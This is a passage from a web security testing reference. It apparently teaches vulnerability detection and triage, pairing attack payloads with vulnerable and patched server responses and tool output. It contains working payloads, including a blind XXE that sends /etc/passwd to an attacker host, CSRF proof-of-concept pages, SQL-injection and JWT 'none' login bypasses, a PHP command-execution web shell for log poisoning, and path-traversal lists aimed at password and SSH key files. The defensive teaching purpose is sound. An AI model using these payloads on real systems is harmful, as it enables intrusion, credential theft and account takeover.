# Header: {"alg": "none", "typ": "JWT"}
# Remove signature
# HTTP Header manipulation
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
# Path bypass
/admin -> 403
/Admin -> 200
/ADMIN -> 200
/admin/ -> 200
/admin/. -> 200
/%61%64%6d%69%6e -> 200
/./admin -> 200
/admin;/ -> 200
6.2 Vulnerable Response Patterns
Default Credentials Accepted
POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=admin
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.abc123; Path=/; HttpOnly
SQL Injection Bypass
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin'--&password=anything
HTTP/1.1 302 Found
Location: /admin/dashboard
Set-Cookie: PHPSESSID=abc123def456; Path=/
JWT with "none" Algorithm Accepted
GET /api/admin/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
HTTP/1.1 200 OK
Content-Type: application/json
{"users": [{"id": 1, "name": "admin", "role": "admin"}, ...]}
6.3 Safe/Patched Response Patterns
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{
"error": "Authentication failed",
"message": "Invalid username or password"
}
HTTP/1.1 403 Forbidden
Content-Type: application/json
X-RateLimit-Remaining: 2
{
"error": "Account locked",
"message": "Too many failed attempts. Account locked for 30 minutes."
}
Key safe indicators:
- Default credentials changed on installation
- Generic error message (no username enumeration)
- Account lockout after N failed attempts
- Rate limiting on login endpoint
- JWT algorithm enforced server-side (rejects "none")
- MFA enforced for admin accounts
6.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Default creds | Login succeeds, session cookie set, redirect to admin panel | Login page reloads with error |
| SQL bypass | Redirected to authenticated area without valid password | SQL error displayed but no auth bypass |
| JWT none | API returns privileged data with unsigned/alg:none token | Server rejects token with 401 |
| Path bypass | /admin;/ returns actual admin content | /admin;/ returns same 403 as /admin |
6.5 Tool Output Examples
Hydra Brute Force Output
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-09 14:30:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:10/p:10), ~7 tries per task
[DATA] attacking http-post-form://target.example.com:80/login:username=^USER^&password=^PASS^:Invalid credentials
[80][http-post-form] host: target.example.com login: admin password: admin
[80][http-post-form] host: target.example.com login: root password: toor
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-09 14:30:45
Nmap Default Credentials Script
PORT STATE SERVICE
8080/tcp open http-proxy
| http-default-accounts:
| [Apache Tomcat] at /manager/html/
| tomcat:s3cret
| [Apache Tomcat Host Manager] at /host-manager/html/
|_ tomcat:s3cret
7. Security Misconfiguration
7.1 Test Payloads
CORS Misconfiguration
# Test: Origin reflection
GET /api/sensitive-data HTTP/1.1
Host: target.example.com
Origin: https://evil.attacker.com
# Test: Null origin
GET /api/sensitive-data HTTP/1.1
Host: target.example.com
Origin: null
# Test: Subdomain wildcard
GET /api/sensitive-data HTTP/1.1
Host: target.example.com
Origin: https://evil.target.example.com
# Test: Prefix/suffix bypass
GET /api/sensitive-data HTTP/1.1
Host: target.example.com
Origin: https://target.example.com.attacker.com
Directory Listing
# Common paths to test
GET / HTTP/1.1
GET /icons/ HTTP/1.1
GET /images/ HTTP/1.1
GET /uploads/ HTTP/1.1
GET /backup/ HTTP/1.1
GET /config/ HTTP/1.1
GET /includes/ HTTP/1.1
GET /.git/ HTTP/1.1
GET /.svn/ HTTP/1.1
GET /.env HTTP/1.1
GET /wp-config.php.bak HTTP/1.1
GET /web.config HTTP/1.1
GET /server-status HTTP/1.1
GET /server-info HTTP/1.1
GET /phpinfo.php HTTP/1.1
GET /info.php HTTP/1.1
GET /actuator HTTP/1.1
GET /actuator/env HTTP/1.1
GET /actuator/health HTTP/1.1
GET /api/swagger-ui.html HTTP/1.1
GET /api-docs HTTP/1.1
GET /.well-known/openid-configuration HTTP/1.1
Missing Security Headers
# Headers to check:
Strict-Transport-Security (HSTS)
Content-Security-Policy (CSP)
X-Content-Type-Options
X-Frame-Options
X-XSS-Protection
Referrer-Policy
Permissions-Policy
Cache-Control (for sensitive pages)
7.2 Vulnerable Response Patterns
CORS - Reflected Origin with Credentials
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"user": "admin", "email": "admin@target.com", "api_key": "sk-abc123..."}
Directory Listing Enabled
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<head><title>Index of /backup/</title></head>
<body>
<h1>Index of /backup/</h1>
<pre>
<a href="../">../</a>
<a href="database_dump_2026-04-01.sql">database_dump_2026-04-01.sql</a> 01-Apr-2026 03:00 45M
<a href="config.yml.bak">config.yml.bak</a> 08-Apr-2026 12:00 2.4K
<a href="users_export.csv">users_export.csv</a> 07-Apr-2026 09:00 128K
</pre>
</body>
</html>
Exposed .git Directory
GET /.git/HEAD HTTP/1.1
HTTP/1.1 200 OK
Content-Type: application/octet-stream
ref: refs/heads/main
Exposed .env File
GET /.env HTTP/1.1
HTTP/1.1 200 OK
APP_NAME=MyApp
APP_ENV=production
APP_KEY=base64:abc123def456...
APP_DEBUG=true
DB_CONNECTION=mysql
DB_HOST=10.0.0.5
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=root
DB_PASSWORD=SuperSecretPassword123!
REDIS_HOST=10.0.0.6
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET_KEY=sk_live_abc123...
Missing Security Headers
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
Content-Type: text/html; charset=UTF-8
<!-- No HSTS, no CSP, no X-Frame-Options, no X-Content-Type-Options -->
Debug Mode Enabled (Spring Boot Actuator)
GET /actuator/env HTTP/1.1
HTTP/1.1 200 OK
Content-Type: application/json
{
"activeProfiles": ["production"],
"propertySources": [
{
"name": "systemProperties",
"properties": {
"java.version": {"value": "11.0.12"},
"spring.datasource.url": {"value": "jdbc:mysql://10.0.0.5:3306/prod"},
"spring.datasource.username": {"value": "root"},
"spring.datasource.password": {"value": "******"}
}
}
]
}
7.3 Safe/Patched Response Patterns
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cache-Control: no-store
# CORS - Proper allowlist
Access-Control-Allow-Origin: https://app.target.com
Access-Control-Allow-Credentials: true
Vary: Origin
# Directory listing disabled
HTTP/1.1 403 Forbidden
# .git blocked
HTTP/1.1 404 Not Found
7.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| CORS | Arbitrary origin reflected WITH credentials allowed | Wildcard * without credentials (less severe, no cookie theft) |
| Dir listing | Actual file listing with clickable links to sensitive files | Custom 404 page that looks like a directory index |
| .env | Returns actual environment variables with credentials | Returns 200 but empty/dummy content |
| Debug mode | Actuator/debug endpoints return real config data | Endpoint exists but returns limited/sanitized data |
7.5 Tool Output Examples
Nikto Scan Output
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 93.184.216.34
+ Target Hostname: target.example.com
+ Target Port: 443
---------------------------------------------------------------------------
+ SSL Info: Subject: /CN=target.example.com
Ciphers: TLS_AES_256_GCM_SHA384
Issuer: /C=US/O=Let's Encrypt/CN=R3
+ Start Time: 2026-04-09 14:30:00 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Uncommon header 'x-powered-by' found, with contents: PHP/7.4.3.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-default-files/
+ /.env: .env file found. This file may contain sensitive configuration data such as database credentials and API keys.
+ /.git/HEAD: Git repository found. This may allow the attacker to download the full source code of the application.
+ /phpinfo.php: Output from the phpinfo() function was found. This file reveals detailed server configuration.
+ /server-status: Apache server-status is accessible. This reveals detailed server performance and connection information.
+ OSVDB-3268: /backup/: Directory indexing found.
+ OSVDB-3092: /backup/: This might be interesting: potential backup directory.
+ /wp-config.php.bak: WordPress configuration backup found. May contain database credentials.
+ 8945 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2026-04-09 14:32:47 (GMT-5) (167 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
8. Cryptographic Failures
8.1 Test Payloads / Checks
# TLS version testing
nmap --script ssl-enum-ciphers -p 443 target.example.com
testssl.sh target.example.com
sslscan target.example.com
sslyze target.example.com
# Check for weak ciphers
openssl s_client -connect target.example.com:443 -ssl3
openssl s_client -connect target.example.com:443 -tls1
openssl s_client -connect target.example.com:443 -cipher RC4
openssl s_client -connect target.example.com:443 -cipher DES
openssl s_client -connect target.example.com:443 -cipher NULL
openssl s_client -connect target.example.com:443 -cipher EXPORT
# Check for missing HSTS
curl -sI https://target.example.com | grep -i strict-transport
# Check for HTTP available (no redirect to HTTPS)
curl -sI http://target.example.com
# Check cookie flags
curl -sI https://target.example.com/login | grep -i set-cookie
# Look for missing: Secure, HttpOnly, SameSite flags
# Check for sensitive data in URL
# Passwords, tokens, session IDs in query strings
GET /login?password=secret123 HTTP/1.1
GET /reset?token=abc123 HTTP/1.1
# Check password hashing
# Verify not MD5, SHA1, or plaintext
8.2 Vulnerable Response Patterns
Weak TLS Configuration
# nmap ssl-enum-ciphers output showing vulnerable config
PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
| compressors:
| NULL
| cipher preference: server
| warnings:
| 64-bit block cipher 3DES vulnerable to SWEET32 attack
| Broken cipher RC4 is deprecated by RFC 7465
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
| compressors:
| NULL
| cipher preference: server
| warnings:
| 64-bit block cipher 3DES vulnerable to SWEET32 attack
| Broken cipher RC4 is deprecated by RFC 7465
| TLSv1.1:
| ciphers:
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
| compressors:
| NULL
| cipher preference: server
| TLSv1.2:
| ciphers:
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
| compressors:
| NULL
| cipher preference: server
|_ least strength: C
testssl.sh Output (Vulnerable)
###########################################################
testssl.sh 3.2 from https://testssl.sh/
Testing protocols via sockets except NPN+ALPN
Start 2026-04-09 14:30:00 -->> 93.184.216.34:443 (target.example.com) <<--
Further IP addresses: 2606:2800:220:1:248:1893:25c8:1946
rDNS (93.184.216.34): target.example.com
Service detected: HTTP
Testing protocols
SSLv2 not offered (OK)
SSLv3 offered (NOT ok) << VULNERABLE
TLS 1 offered (deprecated) << SHOULD BE DISABLED
TLS 1.1 offered (deprecated) << SHOULD BE DISABLED
TLS 1.2 offered (OK)
TLS 1.3 not offered << SHOULD BE OFFERED
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing vulnerabilities
Heartbleed (CVE-2014-0160) not vulnerable (OK)
CCS (CVE-2014-0224) not vulnerable (OK)
Ticketbleed (CVE-2016-9244) not vulnerable (OK)
ROBOT not vulnerable (OK)
Secure Renegotiation supported (OK)
Secure Client-Initiated Renegotiation not vulnerable (OK)
CRIME, TLS (CVE-2012-4929) not vulnerable (OK)
BREACH (CVE-2013-3587) potentially NOT ok, "gzip" HTTP compression detected
POODLE, SSL (CVE-2014-3566) VULNERABLE (NOT ok), uses SSLv3+CBC
TLS_FALLBACK_SCSV (RFC 7507) Downgrade attack prevention NOT supported (NOT ok)
SWEET32 (CVE-2016-2183) VULNERABLE, uses 64 bit block ciphers
FREAK (CVE-2015-0204) not vulnerable (OK)
DROWN (CVE-2016-0800) not vulnerable (OK)
LOGJAM (CVE-2015-4000) not vulnerable (OK)
BEAST (CVE-2011-3389) TLS1: VULNERABLE -- but alsoass protection
LUCKY13 (CVE-2013-0169) potentially VULNERABLE, uses CBC ciphers
Winshock (CVE-2014-6321) not vulnerable (OK)
RC4 (CVE-2013-2566, CVE-2015-2808) VULNERABLE (NOT ok): RC4 ciphers detected
Testing cipher categories
NULL ciphers not offered (OK)
Anonymous NULL Ciphers not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES+RC2+MD5 not offered (OK)
Triple DES Ciphers / IDEA offered (NOT ok)
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) offered (OK)
Testing certificate
Certificate Validity (UTC) expires < 60 days (31) << WARN
RSA key size (cert) 2048 bits (OK)
Certificate Expiration 2026-05-10 (31 days) << WARN
Cookies Without Security Flags
HTTP/1.1 200 OK
Set-Cookie: session=abc123def456; Path=/
Set-Cookie: auth_token=xyz789; Path=/
# Missing: Secure flag (sent over HTTP)
# Missing: HttpOnly flag (accessible via JavaScript)
# Missing: SameSite flag (CSRF risk)
HTTP to HTTPS - No Redirect
# HTTP request returns content (should 301 to HTTPS)
GET / HTTP/1.1
Host: target.example.com
HTTP/1.1 200 OK
Content-Type: text/html
# Full page content served over HTTP - credentials sent in cleartext
8.3 Safe/Patched Response Patterns
# nmap ssl-enum-ciphers - Strong config
PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| TLSv1.2:
| ciphers:
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A
| TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (ecdh_x25519) - A
| compressors:
| NULL
| cipher preference: server
| TLSv1.3:
| ciphers:
| TLS_AES_256_GCM_SHA384 (ecdh_x25519) - A
| TLS_CHACHA20_POLY1305_SHA256 (ecdh_x25519) - A
| TLS_AES_128_GCM_SHA256 (ecdh_x25519) - A
| cipher preference: server
|_ least strength: A
# Secure cookie flags
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Strict
# HTTP to HTTPS redirect
HTTP/1.1 301 Moved Permanently
Location: https://target.example.com/
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
8.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Weak TLS | SSLv3 or TLS 1.0/1.1 actively negotiated, RC4/3DES offered | Old protocol listed but not actually negotiable (tool false alarm) |
| POODLE | SSLv3 with CBC ciphers confirmed exploitable | SSLv3 offered but all CBC ciphers disabled |
| Missing HSTS | No Strict-Transport-Security header on HTTPS response | HSTS present but short max-age (lower severity, not absent) |
| Insecure cookies | Session cookie lacks Secure flag AND site uses HTTPS | Non-session cookie (e.g., preference) missing Secure flag |
8.5 Tool Output Examples
See nmap and testssl.sh outputs in Section 8.2 above.
sslscan Output (Weak)
Supported Server Cipher(s):
Preferred TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384 Curve 25519 DHE 253
Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256 Curve 25519 DHE 253
Accepted TLSv1.2 256 bits AES256-GCM-SHA384
Accepted TLSv1.0 128 bits AES128-SHA << WEAK
Accepted TLSv1.0 128 bits RC4-SHA << INSECURE
Accepted SSLv3 112 bits DES-CBC3-SHA << INSECURE
SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength: 2048
Subject: target.example.com
Issuer: Let's Encrypt Authority X3
Not valid before: Mar 10 00:00:00 2026 GMT
Not valid after: Jun 8 23:59:59 2026 GMT
9. CSRF (Cross-Site Request Forgery)
9.1 Test Payloads
Basic CSRF PoC (HTML Form)
<!-- Auto-submitting form -->
<html>
<body>
<form action="https://target.example.com/account/change-email" method="POST" id="csrf-form">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
CSRF with JSON Body
<html>
<body>
<script>
fetch('https://target.example.com/api/account/change-password', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({"new_password": "hacked123"})
});
</script>
</body>
</html>
CSRF Token Bypass Attempts
# Remove CSRF token entirely
POST /change-email HTTP/1.1
email=attacker@evil.com
(no csrf_token parameter)
# Empty CSRF token
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=
# CSRF token from another session
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=valid_token_from_different_session
# Method override (POST->GET to skip token check)
GET /change-email?email=attacker@evil.com HTTP/1.1
# Content-Type change to bypass
POST /api/change-email HTTP/1.1
Content-Type: text/plain
{"email":"attacker@evil.com"}
# Referrer header bypass
Referer: https://target.example.com.attacker.com/page
CSRF via XSS (Token Extraction)
<script>
// Extract CSRF token from page, then submit forged request
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=attacker@evil.com&csrf_token=' + token
});
</script>
9.2 Vulnerable Response Patterns
No CSRF Protection
# State-changing request with no token, request succeeds
POST /account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=victim_session_abc123
Content-Type: application/x-www-form-urlencoded
Origin: https://attacker.com
Referer: https://attacker.com/csrf-poc.html
email=attacker@evil.com
HTTP/1.1 200 OK
Content-Type: application/json
{"message": "Email updated successfully", "new_email": "attacker@evil.com"}
Token Removed - Still Accepted
# Original request has csrf_token, but removing it still works
POST /account/change-email HTTP/1.1
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded
email=attacker@evil.com
HTTP/1.1 200 OK
{"message": "Email updated successfully"}
9.3 Safe/Patched Response Patterns
# Missing CSRF token - rejected
POST /account/change-email HTTP/1.1
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded
email=attacker@evil.com
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error": "CSRF token validation failed", "message": "Invalid or missing CSRF token"}
# Cross-origin request blocked by SameSite cookie
POST /account/change-email HTTP/1.1
Cookie: (no cookies sent - SameSite=Strict blocked them)
Origin: https://attacker.com
HTTP/1.1 401 Unauthorized
{"error": "Authentication required"}
Key safe indicators:
- CSRF token required and validated for all state-changing requests
- Token tied to user session (not reusable across sessions)
- SameSite=Strict or SameSite=Lax on session cookies
- Origin/Referer header validated
- Double-submit cookie pattern implemented
9.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Missing token | State-changing action succeeds without CSRF token | Action requires authentication that cross-origin request can't provide (SameSite cookies) |
| Token bypass | Removing/changing token still allows action | Token is present but decorative (JSON API with strict CORS = not exploitable) |
| Cross-origin | Form submission from attacker origin succeeds | CORS blocks the preflight for JSON requests |
| Impact | Email/password change, fund transfer, or privilege escalation via CSRF | Read-only action (no state change) triggered cross-origin |
9.5 Tool Output Examples
Burp Suite CSRF Scanner Finding
<issue>
<type>2098944</type>
<name>Cross-site request forgery</name>
<host>https://target.example.com</host>
<path>/account/change-email</path>
<severity>Medium</severity>
<confidence>Tentative</confidence>
<issueDetail>
The application does not appear to use anti-CSRF tokens. No CSRF token was
identified in the request. The application's session cookie does not have the
SameSite attribute set.
</issueDetail>
</issue>
10. XXE (XML External Entity)
10.1 Test Payloads
Classic XXE - File Read
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<user>
<name>&xxe;</name>
<email>test@test.com</email>
</user>
XXE - Windows File Read
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>
XXE - SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server.local:8080/admin">
]>
<root>&xxe;</root>
Blind XXE - Out-of-Band (OOB)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root>test</root>
Contents of evil.dtd (hosted on attacker server):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/steal?data=%file;'>">
%eval;
%exfiltrate;
Blind XXE - Error-Based Exfiltration
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<root>test</root>
XXE via File Upload (SVG)
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
XXE via File Upload (XLSX/DOCX)
# XLSX and DOCX files are ZIP archives containing XML
# Inject XXE into [Content_Types].xml or xl/sharedStrings.xml
# Unzip, modify XML, re-zip
XXE - Billion Laughs (DoS)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<root>&lol5;</root>
10.2 Vulnerable Response Patterns
XXE - File Contents Returned
POST /api/parse-xml HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>
HTTP/1.1 200 OK
Content-Type: application/json
{
"user": {
"name": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false"
}
}
XXE - Error-Based Exfiltration
HTTP/1.1 500 Internal Server Error
Content-Type: text/xml
<?xml version="1.0"?>
<error>
<message>java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin (No such file or directory)</message>
</error>
Blind XXE - Attacker Server Receives Callback
# On attacker server (http://attacker.com):
[2026-04-09 14:35:22] GET /steal?data=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:... HTTP/1.1
From: 93.184.216.34 (target server IP)
User-Agent: Java/11.0.12
10.3 Safe/Patched Response Patterns
HTTP/1.1 400 Bad Request
Content-Type: application/json
{
"error": "XML parsing error",
"message": "DOCTYPE declarations are not allowed"
}
HTTP/1.1 200 OK
Content-Type: application/json
{
"user": {
"name": ""
}
}
# Entity not resolved, empty value or literal "&xxe;" text
Key safe indicators:
- External entity processing disabled (DTD processing disabled)
- DOCTYPE declarations rejected
- XML parser configured to disallow external entities
- Using JSON instead of XML where possible
- libxml2
LIBXML_NOENTflag NOT set (default is safe)
10.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| File read | Contents of /etc/passwd or other files appear in response | XML parsing error mentions entity but doesn't resolve it |
| OOB callback | HTTP/DNS callback received on attacker server from target IP | No callback received (entity processing disabled) |
| Error-based | File contents appear in error message | Generic XML parsing error without file contents |
| DoS | Billion laughs causes server memory exhaustion / timeout | Server rejects entity expansion limits |
10.5 Tool Output Examples
Burp Suite XXE Detection
<issue>
<type>1049088</type>
<name>XML external entity injection</name>
<host>https://target.example.com</host>
<path>/api/parse-xml</path>
<severity>High</severity>
<confidence>Certain</confidence>
<issueDetail>
The application parses XML input and supports XML external entity declarations.
An external entity was defined referencing a URL on the Burp Collaborator server,
and the application retrieved the contents of this URL. Data was returned in the
application's response. The payload:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://xyz.burpcollaborator.net">]>
was processed and a DNS/HTTP interaction was observed.
</issueDetail>
</issue>
11. Path Traversal / LFI
11.1 Test Payloads
Basic Path Traversal
# Linux targets
../../../etc/passwd
../../../etc/shadow
../../../etc/hosts
../../../etc/hostname
../../../proc/self/environ
../../../proc/version
../../../proc/self/cmdline
../../../var/log/apache2/access.log
../../../var/log/nginx/access.log
../../../home/user/.bash_history
../../../home/user/.ssh/id_rsa
# Windows targets
..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts
..\..\..\windows\system.ini
..\..\..\inetpub\wwwroot\web.config
..\..\..\boot.ini
Encoding Bypass Payloads
# URL encoding
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
# Double URL encoding
%252e%252e%252f%252e%252e%252fetc%252fpasswd
# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%ef%bc%8f..%ef%bc%8fetc/passwd
# Null byte (older PHP < 5.3.4)
../../../etc/passwd%00
../../../etc/passwd%00.png
# Path truncation
../../../etc/passwd...............................
# Filter bypass variations
....//....//....//etc/passwd
..../....//....//etc/passwd
..\..\..\..\etc\passwd
..//..//..//etc/passwd
/..%252f..%252f..%252fetc/passwd
PHP Filter Wrappers (LFI to Source Code)
# Read source code as base64
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=config.php
php://filter/read=convert.base64-encode/resource=../../../etc/passwd
# LFI to RCE via log poisoning
# Step 1: Inject PHP into User-Agent
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
# Step 2: Include the log file
?page=../../../var/log/apache2/access.log&cmd=id
# LFI to RCE via PHP wrappers
php://input (POST body contains PHP code)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
11.2 Vulnerable Response Patterns
Path Traversal - /etc/passwd Returned
GET /download?file=../../../etc/passwd HTTP/1.1
Host: target.example.com
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
LFI - PHP Source via Filter
GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/html
PD9waHAKJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsKJGRiX3VzZXIgPSAncm9vdCc7CiRkYl9w
YXNzID0gJ3NlY3JldFBhc3N3b3JkMTIzISc7CiRkYl9uYW1lID0gJ3dlYmFwcF9kYic7Cj8+
# Base64 decoded:
# <?php
# $db_host = 'localhost';
# $db_user = 'root';
# $db_pass = 'secretPassword123!';
# $db_name = 'webapp_db';
# ?>
Windows Path Traversal
GET /download?file=..\..\..\..\windows\win.ini HTTP/1.1
HTTP/1.1 200 OK
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
11.3 Safe/Patched Response Patterns
HTTP/1.1 400 Bad Request
Content-Type: application/json
{
